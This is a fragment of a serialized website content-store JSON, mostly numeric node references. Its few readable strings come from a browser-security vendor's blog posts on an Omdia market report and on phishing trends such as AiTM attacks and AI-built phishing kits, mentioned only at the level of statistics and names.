eType":860},{},[43758],{"data":43759,"marks":43760,"value":4215,"nodeType":864},{},[43761],{"type":899},{"data":43763,"content":43764,"nodeType":860},{},[43765,43768,43775,43778,43785],{"data":43766,"marks":43767,"value":4222,"nodeType":864},{},[],{"data":43769,"content":43770,"nodeType":883},{"uri":2561},[43771],{"data":43772,"marks":43773,"value":4230,"nodeType":864},{},[43774],{"type":899},{"data":43776,"marks":43777,"value":4234,"nodeType":864},{},[],{"data":43779,"content":43780,"nodeType":883},{"uri":4237},[43781],{"data":43782,"marks":43783,"value":4243,"nodeType":864},{},[43784],{"type":899},{"data":43786,"marks":43787,"value":4247,"nodeType":864},{},[],{"data":43789,"content":43790,"nodeType":860},{},[43791],{"data":43792,"marks":43793,"value":4254,"nodeType":864},{},[],{"data":43795,"content":43798,"nodeType":996},{"target":43796},{"sys":43797},{"id":4259,"type":1001,"linkType":1002},[],{"data":43800,"content":43801,"nodeType":860},{},[43802],{"data":43803,"marks":43804,"value":4267,"nodeType":864},{},[],{"data":43806,"content":43807,"nodeType":1005},{},[],{"data":43809,"content":43810,"nodeType":1009},{},[43811],{"data":43812,"marks":43813,"value":4278,"nodeType":864},{},[43814],{"type":899},{"data":43816,"content":43817,"nodeType":860},{},[43818],{"data":43819,"marks":43820,"value":4286,"nodeType":864},{},[43821],{"type":899},{"data":43823,"content":43824,"nodeType":860},{},[43825,43828,43832,43835,43842],{"data":43826,"marks":43827,"value":4293,"nodeType":864},{},[],{"data":43829,"marks":43830,"value":4298,"nodeType":864},{},[43831],{"type":2246},{"data":43833,"marks":43834,"value":4302,"nodeType":864},{},[],{"data":43836,"content":43837,"nodeType":883},{"uri":4305},[43838],{"data":43839,"marks":43840,"value":4311,"nodeType":864},{},[43841],{"type":899},{"data":43843,"marks":43844,"value":4315,"nodeType":864},{},[],{"data":43846,"content":43847,"nodeType":860},{},[43848],{"data":43849,"marks":43850,"value":4322,"nodeType":864},{},[],{"data":43852,"content":43853,"nodeType":860},{},[43854],{"data":43855,"marks":43856,"value":4329,"nodeType":864},{},[],{"data":43858,"content":43859,"nodeType":860},{},[43860],{"data":43861,"marks":43862,"value":4336,"nodeType":864},{},[],{"data":43864,"content":43865,"nodeType":1005},{},[],{"data":43867,"content":43868,"nodeType":1009},{},[43869],{"data":43870,"marks":43871,"value":4347,"nodeType":864},{},[43872],{"type":899},{"data":43874,"content":43875,"nodeType":860},{},[43876],{"data":43877,"marks":43878,"value":4355,"nodeType":864},{},[43879],{"type":899},{"data":43881,"content":43882,"nodeType":860},{},[43883],{"data":43884,"marks":43885,"value":4362,"nodeType":864},{},[],{"data":43887,"content":43890,"nodeType":996},{"target":43888},{"sys":43889},{"id":4367,"type":1001,"linkType":1002},[],{"data":43892,"content":43893,"nodeType":860},{},[43894],{"data":43895,"marks":43896,"value":4375,"nodeType":864},{},[],{"data":43898,"content":43899,"nodeType":941},{},[43900,43909],{"data":43901,"content":43902,"nodeType":945},{},[43903],{"data":43904,"content":43905,"nodeType":860},{},[43906],{"data":43907,"marks":43908,"value":4388,"nodeType":864},{},[],{"data":43910,"content":43911,"nodeType":945},{},[43912],{"data":43913,"content":43914,"nodeType":860},{},[43915],{"data":43916,"marks":43917,"value":4398,"nodeType":864},{},[],{"data":43919,"content":43920,"nodeType":860},{},[43921,43924,43931,43934,43938],{"data":43922,"marks":43923,"value":4405,"nodeType":864},{},[],{"data":43925,"content":43926,"nodeType":883},{"uri":4408},[43927],{"data":43928,"marks":43929,"value":4414,"nodeType":864},{},[43930],{"type":899},{"data":43932,"marks":43933,"value":4418,"nodeType":864},{},[],{"data":43935,"marks":43936,"value":4423,"nodeType":864},{},[43937],{"type":2246},{"data":43939,"marks":43940,"value":4427,"nodeType":864},{},[],{"data":43942,"content":43943,"nodeType":1005},{},[],{"data":43945,"content":43946,"nodeType":1009},{},[43947],{"data":43948,"marks":43949,"value":4438,"nodeType":864},{},[43950],{"type":899},{"data":43952,"content":43953,"nodeType":860},{},[43954],{"data":43955,"marks":43956,"value":4446,"nodeType":864},{},[43957],{"type":899},{"data":43959,"content":43960,"nodeType":860},{},[43961],{"data":43962,"marks":43963,"value":4453,"nodeType":864},{},[],{"data":43965,"content":43966,"nodeType":860},{},[43967],{"data":43968,"marks":43969,"value":4460,"nodeType":864},{},[],{"data":43971,"content":43972,"nodeType":1005},{},[],{"data":43974,"content":43975,"nodeType":1009},{},[43976],{"data":43977,"marks":43978,"value":4471,"nodeType":864},{},[43979],{"type":899},{"data":43981,"content":43982,"nodeType":941},{},[43983,43996,44009,44022],{"data":43984,"content":43985,"nodeType":945},{},[43986],{"data":43987,"content":43988,"nodeType":860},{},[43989,43993],{"data":43990,"marks":43991,"value":4485,"nodeType":864},{},[43992],{"type":899},{"data":43994,"marks":43995,"value":4489,"nodeType":864},{},[],{"data":43997,"content":43998,"nodeType":945},{},[43999],{"data":44000,"content":44001,"nodeType":860},{},[44002,44006],{"data":44003,"marks":44004,"value":4500,"nodeType":864},{},[44005],{"type":899},{"data":44007,"marks":44008,"value":4504,"nodeType":864},{},[],{"data":44010,"content":44011,"nodeType":945},{},[44012],{"data":44013,"content":44014,"nodeType":860},{},[44015,44019],{"data":44016,"marks":44017,"value":4515,"nodeType":864},{},[44018],{"type":899},{"data":44020,"marks":44021,"value":4519,"nodeType":864},{},[],{"data":44023,"content":44024,"nodeType":945},{},[44025],{"data":44026,"content":44027,"nodeType":860},{},[44028,44032],{"data":44029,"marks":44030,"value":781,"nodeType":864},{},[44031],{"type":899},{"data":44033,"marks":44034,"value":4533,"nodeType":864},{},[],{"data":44036,"content":44037,"nodeType":1005},{},[],{"data":44039,"content":44040,"nodeType":1009},{},[44041],{"data":44042,"marks":44043,"value":4544,"nodeType":864},{},[44044],{"type":899},{"data":44046,"content":44047,"nodeType":860},{},[44048],{"data":44049,"marks":44050,"value":4551,"nodeType":864},{},[],{"data":44052,"content":44053,"nodeType":4845},{},[44054,44077,44099,44121,44143,44165,44187,44209,44231,44253,44275,44297],{"data":44055,"content":44056,"nodeType":4581},{},[44057,44067],{"data":44058,"content":44059,"nodeType":4569},{},[44060],{"data":44061,"content":44062,"nodeType":860},{},[44063],{"data":44064,"marks":44065,"value":4568,"nodeType":864},{},[44066],{"type":899},{"data":44068,"content":44069,"nodeType":4569},{},[44070],{"data":44071,"content":44072,"nodeType":860},{},[44073],{"data":44074,"marks":44075,"value":4580,"nodeType":864},{},[44076],{"type":899},{"data":44078,"content":44079,"nodeType":4581},{},[44080,44090],{"data":44081,"content":44082,"nodeType":4569},{},[44083],{"data":44084,"content":44085,"nodeType":860},{},[44086],{"data":44087,"marks":44088,"value":4595,"nodeType":864},{},[44089],{"type":899},{"data":44091,"content":44092,"nodeType":4569},{},[44093],{"data":44094,"content":44095,"nodeType":860},{},[44096],{"data":44097,"marks":44098,"value":4605,"nodeType":864},{},[],{"data":44100,"content":44101,"nodeType":4581},{},[44102,44112],{"data":44103,"content":44104,"nodeType":4569},{},[44105],{"data":44106,"content":44107,"nodeType":860},{},[44108],{"data":44109,"marks":44110,"value":4619,"nodeType":864},{},[44111],{"type":899},{"data":44113,"content":44114,"nodeType":4569},{},[44115],{"data":44116,"content":44117,"nodeType":860},{},[44118],{"data":44119,"marks":44120,"value":4629,"nodeType":864},{},[],{"data":44122,"content":44123,"nodeType":4581},{},[44124,44134],{"data":44125,"content":44126,"nodeType":4569},{},[44127],{"data":44128,"content":44129,"nodeType":860},{},[44130],{"data":44131,"marks":44132,"value":4643,"nodeType":864},{},[44133],{"type":899},{"data":44135,"content":44136,"nodeType":4569},{},[44137],{"data":44138,"content":44139,"nodeType":860},{},[44140],{"data":44141,"marks":44142,"value":4653,"nodeType":864},{},[],{"data":44144,"content":44145,"nodeType":4581},{},[44146,44156],{"data":44147,"content":44148,"nodeType":4569},{},[44149],{"data":44150,"content":44151,"nodeType":860},{},[44152],{"data":44153,"marks":44154,"value":4667,"nodeType":864},{},[44155],{"type":899},{"data":44157,"content":44158,"nodeType":4569},{},[44159],{"data":44160,"content":44161,"nodeType":860},{},[44162],{"data":44163,"marks":44164,"value":4677,"nodeType":864},{},[],{"data":44166,"content":44167,"nodeType":4581},{},[44168,44178],{"data":44169,"content":44170,"nodeType":4569},{},[44171],{"data":44172,"content":44173,"nodeType":860},{},[44174],{"data":44175,"marks":44176,"value":4691,"nodeType":864},{},[44177],{"type":899},{"data":44179,"content":44180,"nodeType":4569},{},[44181],{"data":44182,"content":44183,"nodeType":860},{},[44184],{"data":44185,"marks":44186,"value":4701,"nodeType":864},{},[],{"data":44188,"content":44189,"nodeType":4581},{},[44190,44200],{"data":44191,"content":44192,"nodeType":4569},{},[44193],{"data":44194,"content":44195,"nodeType":860},{},[44196],{"data":44197,"marks":44198,"value":4715,"nodeType":864},{},[44199],{"type":899},{"data":44201,"content":44202,"nodeType":4569},{},[44203],{"data":44204,"content":44205,"nodeType":860},{},[44206],{"data":44207,"marks":44208,"value":4725,"nodeType":864},{},[],{"data":44210,"content":44211,"nodeType":4581},{},[44212,44222],{"data":44213,"content":44214,"nodeType":4569},{},[44215],{"data":44216,"content":44217,"nodeType":860},{},[44218],{"data":44219,"marks":44220,"value":4739,"nodeType":864},{},[44221],{"type":899},{"data":44223,"content":44224,"nodeType":4569},{},[44225],{"data":44226,"content":44227,"nodeType":860},{},[44228],{"data":44229,"marks":44230,"value":4749,"nodeType":864},{},[],{"data":44232,"content":44233,"nodeType":4581},{},[44234,44244],{"data":44235,"content":44236,"nodeType":4569},{},[44237],{"data":44238,"content":44239,"nodeType":860},{},[44240],{"data":44241,"marks":44242,"value":4763,"nodeType":864},{},[44243],{"type":899},{"data":44245,"content":44246,"nodeType":4569},{},[44247],{"data":44248,"content":44249,"nodeType":860},{},[44250],{"data":44251,"marks":44252,"value":4773,"nodeType":864},{},[],{"data":44254,"content":44255,"nodeType":4581},{},[44256,44266],{"data":44257,"content":44258,"nodeType":4569},{},[44259],{"data":44260,"content":44261,"nodeType":860},{},[44262],{"data":44263,"marks":44264,"value":4787,"nodeType":864},{},[44265],{"type":899},{"data":44267,"content":44268,"nodeType":4569},{},[44269],{"data":44270,"content":44271,"nodeType":860},{},[44272],{"data":44273,"marks":44274,"value":4797,"nodeType":864},{},[],{"data":44276,"content":44277,"nodeType":4581},{},[44278,44288],{"data":44279,"content":44280,"nodeType":4569},{},[44281],{"data":44282,"content":44283,"nodeType":860},{},[44284],{"data":44285,"marks":44286,"value":4811,"nodeType":864},{},[44287],{"type":899},{"data":44289,"content":44290,"nodeType":4569},{},[44291],{"data":44292,"content":44293,"nodeType":860},{},[44294],{"data":44295,"marks":44296,"value":4821,"nodeType":864},{},[],{"data":44298,"content":44299,"nodeType":4581},{},[44300,44310],{"data":44301,"content":44302,"nodeType":4569},{},[44303],{"data":44304,"content":44305,"nodeType":860},{},[44306],{"data":44307,"marks":44308,"value":4500,"nodeType":864},{},[44309],{"type":899},{"data":44311,"content":44312,"nodeType":4569},{},[44313],{"data":44314,"content":44315,"nodeType":860},{},[44316],{"data":44317,"marks":44318,"value":4844,"nodeType":864},{},[],{"data":44320,"content":44321,"nodeType":1005},{},[],{"data":44323,"content":44324,"nodeType":860},{},[44325,44328,44334],{"data":44326,"marks":44327,"value":4855,"nodeType":864},{},[],{"data":44329,"content":44330,"nodeType":883},{"uri":1700},[44331],{"data":44332,"marks":44333,"value":1703,"nodeType":864},{},[],{"data":44335,"marks":44336,"value":21,"nodeType":864},{},[],{"items":44338},[44339,44341],{"sys":44340,"name":297},{"id":2732},{"sys":44342,"name":2729},{"id":2728},{"items":44344},[44345],{"fullName":4878,"firstName":4879,"jobTitle":851,"profilePicture":44346},{"url":4881},"the-case-for-best-of-breed-browser-security","blog/the-case-for-best-of-breed-browser-security",{"json":44350},{"data":44351,"content":44352,"nodeType":856},{},[44353],{"data":44354,"content":44355,"nodeType":860},{},[44356],{"data":44357,"marks":44358,"value":44359,"nodeType":864},{},[],"Why \"good enough\" isn’t enough when it comes to browser security, and a best-of-breed approach is needed to tackle emerging threats.",{"id":44361,"publishedAt":44362},"LlTjdYp5ALHM3YIvsCibZ","2026-08-13T09:35:07.376Z",{"items":44364},[44365,44367],{"sys":44366,"name":297},{"id":2732},{"sys":44368,"name":6593},{"id":6592},{"items":44370},[44371,44373,44375,44377,44379,44381,44383,44385,44387,44389,44391,44393,44395,44397,44399,44401,44403,44405,44407,44409],{"sys":44372,"name":297,"slug":298,"tier":31},{"id":294},{"sys":44374,"name":279,"slug":280,"tier":31},{"id":276},{"sys":44376,"name":413,"slug":414,"tier":31},{"id":410},{"sys":44378,"name":519,"slug":520,"tier":31},{"id":516},{"sys":44380,"name":342,"slug":343,"tier":31},{"id":339},{"sys":44382,"name":235,"slug":236,"tier":31},{"id":232},{"sys":44384,"name":261,"slug":262,"tier":45},{"id":258},{"sys":44386,"name":315,"slug":316,"tier":45},{"id":312},{"sys":44388,"name":360,"slug":361,"tier":45},{"id":357},{"sys":44390,"name":386,"slug":387,"tier":45},{"id":383},{"sys":44392,"name":333,"slug":334,"tier":45},{"id":330},{"sys":44394,"name":571,"slug":572,"tier":45},{"id":568},{"sys":44396,"name":484,"slug":485,"tier":45},{"id":481},{"sys":44398,"name":395,"slug":396,"tier":45},{"id":392},{"sys":44400,"name":589,"slug":590,"tier":45},{"id":586},{"sys":44402,"name":288,"slug":289,"tier":45},{"id":285},{"sys":44404,"name":511,"slug":512,"tier":45},{"id":508},{"sys":44406,"name":324,"slug":325,"tier":45},{"id":321},{"sys":44408,"name":580,"slug":581,"tier":45},{"id":577},{"sys":44410,"name":244,"slug":245,"tier":45},{"id":241},"ZdRUl9m2-G3Z9CEGGjFodkTk-e0uWBoLuwQs6a2oEzo",{"id":44413,"title":34679,"authorsCollection":44414,"content":44419,"extension":228,"faqItemsCollection":45036,"faqTitle":59,"featured":6,"hashTags":59,"meta":45038,"metaTitle":45039,"ogImage":59,"postType":8776,"publishedDate":34681,"relatedBlogPostsCollection":45040,"slug":34682,"stem":46989,"subtitle":59,"summary":46990,"synopsis":34680,"sys":47001,"tagsCollection":47003,"topicsCollection":47009,"__hash__":47049},"blog/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market.json",{"items":44415},[44416],{"fullName":2736,"firstName":2737,"jobTitle":2738,"socialLinks":44417,"profilePicture":44418},[20565],{"url":2740},{"json":44420,"links":44915},{"data":44421,"content":44422,"nodeType":856},{},[44423,44438,44444,44450,44455,44458,44465,44478,44484,44489,44495,44570,44576,44581,44587,44592,44595,44602,44612,44618,44628,44631,44638,44651,44657,44663,44666,44673,44679,44692,44697,44710,44716,44722,44728,44741,44747,44750,44757,44763,44776,44782,44785,44792,44805,44811,44827,44837,44840,44847,44860,44866,44872,44878,44884,44887,44893,44899],{"data":44424,"content":44425,"nodeType":860},{},[44426,44429,44435],{"data":44427,"marks":44428,"value":2761,"nodeType":864},{},[],{"data":44430,"content":44431,"nodeType":883},{"uri":34117},[44432],{"data":44433,"marks":44434,"value":34122,"nodeType":864},{},[],{"data":44436,"marks":44437,"value":34126,"nodeType":864},{},[],{"data":44439,"content":44440,"nodeType":860},{},[44441],{"data":44442,"marks":44443,"value":34133,"nodeType":864},{},[],{"data":44445,"content":44446,"nodeType":860},{},[44447],{"data":44448,"marks":44449,"value":34140,"nodeType":864},{},[],{"data":44451,"content":44454,"nodeType":996},{"target":44452},{"sys":44453},{"id":34145,"type":1001,"linkType":1002},[],{"data":44456,"content":44457,"nodeType":1005},{},[],{"data":44459,"content":44460,"nodeType":1009},{},[44461],{"data":44462,"marks":44463,"value":34157,"nodeType":864},{},[44464],{"type":899},{"data":44466,"content":44467,"nodeType":860},{},[44468,44471,44475],{"data":44469,"marks":44470,"value":34164,"nodeType":864},{},[],{"data":44472,"marks":44473,"value":34169,"nodeType":864},{},[44474],{"type":899},{"data":44476,"marks":44477,"value":34173,"nodeType":864},{},[],{"data":44479,"content":44480,"nodeType":860},{},[44481],{"data":44482,"marks":44483,"value":34180,"nodeType":864},{},[],{"data":44485,"content":44488,"nodeType":996},{"target":44486},{"sys":44487},{"id":34185,"type":1001,"linkType":1002},[],{"data":44490,"content":44491,"nodeType":860},{},[44492],{"data":44493,"marks":44494,"value":34193,"nodeType":864},{},[],{"data":44496,"content":44497,"nodeType":941},{},[44498,44507,44516,44525,44534,44543,44552,44561],{"data":44499,"content":44500,"nodeType":945},{},[44501],{"data":44502,"content":44503,"nodeType":860},{},[44504],{"data":44505,"marks":44506,"value":34206,"nodeType":864},{},[],{"data":44508,"content":44509,"nodeType":945},{},[44510],{"data":44511,"content":44512,"nodeType":860},{},[44513],{"data":44514,"marks":44515,"value":34216,"nodeType":864},{},[],{"data":44517,"content":44518,"nodeType":945},{},[44519],{"data":44520,"content":44521,"nodeType":860},{},[44522],{"data":44523,"marks":44524,"value":34226,"nodeType":864},{},[],{"data":44526,"content":44527,"nodeType":945},{},[44528],{"data":44529,"content":44530,"nodeType":860},{},[44531],{"data":44532,"marks":44533,"value":34236,"nodeType":864},{},[],{"data":44535,"content":44536,"nodeType":945},{},[44537],{"data":44538,"content":44539,"nodeType":860},{},[44540],{"data":44541,"marks":44542,"value":34246,"nodeType":864},{},[],{"data":44544,"content":44545,"nodeType":945},{},[44546],{"data":44547,"content":44548,"nodeType":860},{},[44549],{"data":44550,"marks":44551,"value":34256,"nodeType":864},{},[],{"data":44553,"content":44554,"nodeType":945},{},[44555],{"data":44556,"content":44557,"nodeType":860},{},[44558],{"data":44559,"marks":44560,"value":34266,"nodeType":864},{},[],{"data":44562,"content":44563,"nodeType":945},{},[44564],{"data":44565,"content":44566,"nodeType":860},{},[44567],{"data":44568,"marks":44569,"value":34276,"nodeType":864},{},[],{"data":44571,"content":44572,"nodeType":860},{},[44573],{"data":44574,"marks":44575,"value":34283,"nodeType":864},{},[],{"data":44577,"content":44580,"nodeType":996},{"target":44578},{"sys":44579},{"id":5895,"type":1001,"linkType":1002},[],{"data":44582,"content":44583,"nodeType":860},{},[44584],{"data":44585,"marks":44586,"value":34295,"nodeType":864},{},[],{"data":44588,"content":44591,"nodeType":996},{"target":44589},{"sys":44590},{"id":34300,"type":1001,"linkType":1002},[],{"data":44593,"content":44594,"nodeType":1005},{},[],{"data":44596,"content":44597,"nodeType":1009},{},[44598],{"data":44599,"marks":44600,"value":34312,"nodeType":864},{},[44601],{"type":899},{"data":44603,"content":44604,"nodeType":860},{},[44605,44609],{"data":44606,"marks":44607,"value":34320,"nodeType":864},{},[44608],{"type":899},{"data":44610,"marks":44611,"value":34324,"nodeType":864},{},[],{"data":44613,"content":44614,"nodeType":860},{},[44615],{"data":44616,"marks":44617,"value":34331,"nodeType":864},{},[],{"data":44619,"content":44620,"nodeType":860},{},[44621,44625],{"data":44622,"marks":44623,"value":34339,"nodeType":864},{},[44624],{"type":899},{"data":44626,"marks":44627,"value":34343,"nodeType":864},{},[],{"data":44629,"content":44630,"nodeType":1005},{},[],{"data":44632,"content":44633,"nodeType":1009},{},[44634],{"data":44635,"marks":44636,"value":34354,"nodeType":864},{},[44637],{"type":899},{"data":44639,"content":44640,"nodeType":860},{},[44641,44644,44648],{"data":44642,"marks":44643,"value":34361,"nodeType":864},{},[],{"data":44645,"marks":44646,"value":34366,"nodeType":864},{},[44647],{"type":899},{"data":44649,"marks":44650,"value":34370,"nodeType":864},{},[],{"data":44652,"content":44653,"nodeType":860},{},[44654],{"data":44655,"marks":44656,"value":34377,"nodeType":864},{},[],{"data":44658,"content":44659,"nodeType":860},{},[44660],{"data":44661,"marks":44662,"value":34384,"nodeType":864},{},[],{"data":44664,"content":44665,"nodeType":1005},{},[],{"data":44667,"content":44668,"nodeType":1009},{},[44669],{"data":44670,"marks":44671,"value":34395,"nodeType":864},{},[44672],{"type":899},{"data":44674,"content":44675,"nodeType":860},{},[44676],{"data":44677,"marks":44678,"value":34402,"nodeType":864},{},[],{"data":44680,"content":44681,"nodeType":860},{},[44682,44685,44689],{"data":44683,"marks":44684,"value":34409,"nodeType":864},{},[],{"data":44686,"marks":44687,"value":34414,"nodeType":864},{},[44688],{"type":899},{"data":44690,"marks":44691,"value":34418,"nodeType":864},{},[],{"data":44693,"content":44696,"nodeType":996},{"target":44694},{"sys":44695},{"id":34423,"type":1001,"linkType":1002},[],{"data":44698,"content":44699,"nodeType":860},{},[44700,44703,44707],{"data":44701,"marks":44702,"value":34431,"nodeType":864},{},[],{"data":44704,"marks":44705,"value":34436,"nodeType":864},{},[44706],{"type":899},{"data":44708,"marks":44709,"value":34440,"nodeType":864},{},[],{"data":44711,"content":44712,"nodeType":860},{},[44713],{"data":44714,"marks":44715,"value":34447,"nodeType":864},{},[],{"data":44717,"content":44718,"nodeType":860},{},[44719],{"data":44720,"marks":44721,"value":34454,"nodeType":864},{},[],{"data":44723,"content":44724,"nodeType":860},{},[44725],{"data":44726,"marks":44727,"value":34461,"nodeType":864},{},[],{"data":44729,"content":44730,"nodeType":860},{},[44731,44734,44738],{"data":44732,"marks":44733,"value":34468,"nodeType":864},{},[],{"data":44735,"marks":44736,"value":34473,"nodeType":864},{},[44737],{"type":899},{"data":44739,"marks":44740,"value":34477,"nodeType":864},{},[],{"data":44742,"content":44743,"nodeType":860},{},[44744],{"data":44745,"marks":44746,"value":34484,"nodeType":864},{},[],{"data":44748,"content":44749,"nodeType":1005},{},[],{"data":44751,"content":44752,"nodeType":1009},{},[44753],{"data":44754,"marks":44755,"value":34495,"nodeType":864},{},[44756],{"type":899},{"data":44758,"content":44759,"nodeType":860},{},[44760],{"data":44761,"marks":44762,"value":34502,"nodeType":864},{},[],{"data":44764,"content":44765,"nodeType":860},{},[44766,44769,44773],{"data":44767,"marks":44768,"value":34509,"nodeType":864},{},[],{"data":44770,"marks":44771,"value":34514,"nodeType":864},{},[44772],{"type":899},{"data":44774,"marks":44775,"value":34518,"nodeType":864},{},[],{"data":44777,"content":44778,"nodeType":860},{},[44779],{"data":44780,"marks":44781,"value":34525,"nodeType":864},{},[],{"data":44783,"content":44784,"nodeType":1005},{},[],{"data":44786,"content":44787,"nodeType":1009},{},[44788],{"data":44789,"marks":44790,"value":34536,"nodeType":864},{},[44791],{"type":899},{"data":44793,"content":44794,"nodeType":860},{},[44795,44798,44802],{"data":44796,"marks":44797,"value":34543,"nodeType":864},{},[],{"data":44799,"marks":44800,"value":34548,"nodeType":864},{},[44801],{"type":899},{"data":44803,"marks":44804,"value":34552,"nodeType":864},{},[],{"data":44806,"content":44807,"nodeType":860},{},[44808],{"data":44809,"marks":44810,"value":34559,"nodeType":864},{},[],{"data":44812,"content":44813,"nodeType":860},{},[44814,44817,44824],{"data":44815,"marks":44816,"value":34566,"nodeType":864},{},[],{"data":44818,"content":44819,"nodeType":883},{"uri":34569},[44820],{"data":44821,"marks":44822,"value":34575,"nodeType":864},{},[44823],{"type":1455},{"data":44825,"marks":44826,"value":34579,"nodeType":864},{},[],{"data":44828,"content":44829,"nodeType":860},{},[44830,44833],{"data":44831,"marks":44832,"value":34586,"nodeType":864},{},[],{"data":44834,"marks":44835,"value":34591,"nodeType":864},{},[44836],{"type":899},{"data":44838,"content":44839,"nodeType":1005},{},[],{"data":44841,"content":44842,"nodeType":1009},{},[44843],{"data":44844,"marks":44845,"value":34602,"nodeType":864},{},[44846],{"type":899},{"data":44848,"content":44849,"nodeType":860},{},[44850,44853,44857],{"data":44851,"marks":44852,"value":34609,"nodeType":864},{},[],{"data":44854,"marks":44855,"value":34614,"nodeType":864},{},[44856],{"type":899},{"data":44858,"marks":44859,"value":34618,"nodeType":864},{},[],{"data":44861,"content":44862,"nodeType":860},{},[44863],{"data":44864,"marks":44865,"value":34625,"nodeType":864},{},[],{"data":44867,"content":44868,"nodeType":860},{},[44869],{"data":44870,"marks":44871,"value":34632,"nodeType":864},{},[],{"data":44873,"content":44874,"nodeType":860},{},[44875],{"data":44876,"marks":44877,"value":34639,"nodeType":864},{},[],{"data":44879,"content":44880,"nodeType":860},{},[44881],{"data":44882,"marks":44883,"value":34646,"nodeType":864},{},[],{"data":44885,"content":44886,"nodeType":1005},{},[],{"data":44888,"content":44889,"nodeType":860},{},[44890],{"data":44891,"marks":44892,"value":34656,"nodeType":864},{},[],{"data":44894,"content":44895,"nodeType":860},{},[44896],{"data":44897,"marks":44898,"value":1689,"nodeType":864},{},[],{"data":44900,"content":44901,"nodeType":860},{},[44902,44905,44912],{"data":44903,"marks":44904,"value":21,"nodeType":864},{},[],{"data":44906,"content":44907,"nodeType":883},{"uri":1700},[44908],{"data":44909,"marks":44910,"value":8163,"nodeType":864},{},[44911],{"type":1455},{"data":44913,"marks":44914,"value":2719,"nodeType":864},{},[],{"entries":44916},{"hyperlink":44917,"inline":44918,"block":44919},[],[],[44920,44928,44965,44969,44998],{"sys":44921,"__typename":1724,"title":44922,"caption":44923,"layoutMode":59,"file":44924},{"id":34145},"Omdia report key stats infographic","Headline stats from the latest Omdia report.",{"url":44925,"width":44926,"height":44927},"https://images.ctfassets.net/y1cdw1ablpvd/62TiADpvI65W2gT7RQwlOU/a4aaad376574b1cd963fc0afa5e2942d/omdia-browser-security-infographic_2x__2_.png",1700,1434,{"sys":44929,"__typename":1740,"content":44930,"name":44964,"title":59},{"id":34185},{"json":44931},{"nodeType":856,"data":44932,"content":44933},{},[44934],{"nodeType":860,"data":44935,"content":44936},{},[44937,44941,44948,44952,44960],{"nodeType":864,"value":44938,"marks":44939,"data":44940},"The evidence here isn’t just statistics. The real-world breaches attributed to ",[],{},{"nodeType":883,"data":44942,"content":44943},{"uri":6237},[44944],{"nodeType":864,"value":6242,"marks":44945,"data":44947},[44946],{"type":1455},{},{"nodeType":864,"value":44949,"marks":44950,"data":44951},", including the ",[],{},{"nodeType":883,"data":44953,"content":44954},{"uri":4082},[44955],{"nodeType":864,"value":44956,"marks":44957,"data":44959},"ShinyHunters-branded 2026 hacking spree",[44958],{"type":1455},{},{"nodeType":864,"value":44961,"marks":44962,"data":44963},", clearly underline the real-world threat. ",[],{},"Omdia report IB1",{"sys":44966,"__typename":1717,"type":1718,"ctaText":44967,"buttonLabel":44968,"buttonColour":1721,"buttonUrl":6543},{"id":5895},"Get our latest technical whitepaper to learn about the state of browser-based attacks in 2026 (no sign-up required).","Download Now",{"sys":44970,"__typename":1740,"content":44971,"name":44997,"title":59},{"id":34300},{"json":44972},{"data":44973,"content":44974,"nodeType":856},{},[44975],{"data":44976,"content":44977,"nodeType":860},{},[44978,44982,44993],{"data":44979,"marks":44980,"value":44981,"nodeType":864},{},[],"It's worth noting that AiTM — now the dominant phishing technique in the wild,",{"data":44983,"content":44984,"nodeType":883},{"uri":13366},[44985,44988],{"data":44986,"marks":44987,"value":1171,"nodeType":864},{},[],{"data":44989,"marks":44990,"value":44992,"nodeType":864},{},[44991],{"type":1455},"responsible for 62% of phishing blocked by Microsoft",{"data":44994,"marks":44995,"value":44996,"nodeType":864},{},[]," — shows up at just 17% in Omdia's data. That likely reflects a recognition gap rather than low prevalence: most organizations lack the browser-layer visibility to distinguish an AiTM reverse-proxy attack from a conventional phishing page, which means the real AiTM figure is probably buried inside the 40% who reported phishing generally.","Omdia report IB2",{"sys":44999,"__typename":1740,"content":45000,"name":45035,"title":59},{"id":34423},{"json":45001},{"nodeType":856,"data":45002,"content":45003},{},[45004],{"nodeType":860,"data":45005,"content":45006},{},[45007,45011,45019,45023,45031],{"nodeType":864,"value":45008,"marks":45009,"data":45010},"This is something we’re seeing extensively in the wild. Just about every phishing kit we encounter today is packed with signs of AI use. You can see our ",[],{},{"nodeType":883,"data":45012,"content":45013},{"uri":15592},[45014],{"nodeType":864,"value":45015,"marks":45016,"data":45018},"recent analysis of the Doko’s Panel real-time vishing + AitM kit",[45017],{"type":1455},{},{"nodeType":864,"value":45020,"marks":45021,"data":45022}," for one example of this. AI development of kits and tools is rapidly driving down the time for attackers to adopt and scale new capabilities — the ",[],{},{"nodeType":883,"data":45024,"content":45025},{"uri":3259},[45026],{"nodeType":864,"value":45027,"marks":45028,"data":45030},"37x increase in device code phishing in 2026",[45029],{"type":1455},{},{"nodeType":864,"value":45032,"marks":45033,"data":45034}," being another indicator of this (we've observed heavy AI tool use across multiple kits and campaigns, with the EvilTokens kit gaining particular notoriety for its abuse of the Railway platform's AI features).",[],{},"Omdia report IB3",{"items":45037},[],{},"7 things Omdia's latest report tells us about the SEB market",{"items":45041},[45042,45714,46156],{"__typename":2059,"sys":45043,"content":45044,"title":42532,"synopsis":42533,"hashTags":59,"publishedDate":34681,"slug":42534,"tagsCollection":45704,"authorsCollection":45710},{"id":41766},{"json":45045},{"data":45046,"content":45047,"nodeType":856},{},[45048,45053,45059,45065,45071,45074,45081,45087,45097,45107,45112,45118,45121,45128,45134,45139,45145,45151,45244,45250,45253,45260,45266,45321,45334,45339,45345,45348,45355,45361,45368,45374,45380,45405,45411,45418,45424,45430,45436,45443,45449,45455,45461,45464,45471,45481,45487,45493,45500,45506,45512,45519,45525,45580,45593,45608,45615,45621,45628,45634,45640,45646,45651,45658,45664,45670,45675,45681,45687,45693,45698],{"data":45049,"content":45052,"nodeType":996},{"target":45050},{"sys":45051},{"id":41775,"type":1001,"linkType":1002},[],{"data":45054,"content":45055,"nodeType":860},{},[45056],{"data":45057,"marks":45058,"value":41783,"nodeType":864},{},[],{"data":45060,"content":45061,"nodeType":860},{},[45062],{"data":45063,"marks":45064,"value":41790,"nodeType":864},{},[],{"data":45066,"content":45067,"nodeType":860},{},[45068],{"data":45069,"marks":45070,"value":41797,"nodeType":864},{},[],{"data":45072,"content":45073,"nodeType":1005},{},[],{"data":45075,"content":45076,"nodeType":1009},{},[45077],{"data":45078,"marks":45079,"value":41808,"nodeType":864},{},[45080],{"type":899},{"data":45082,"content":45083,"nodeType":860},{},[45084],{"data":45085,"mar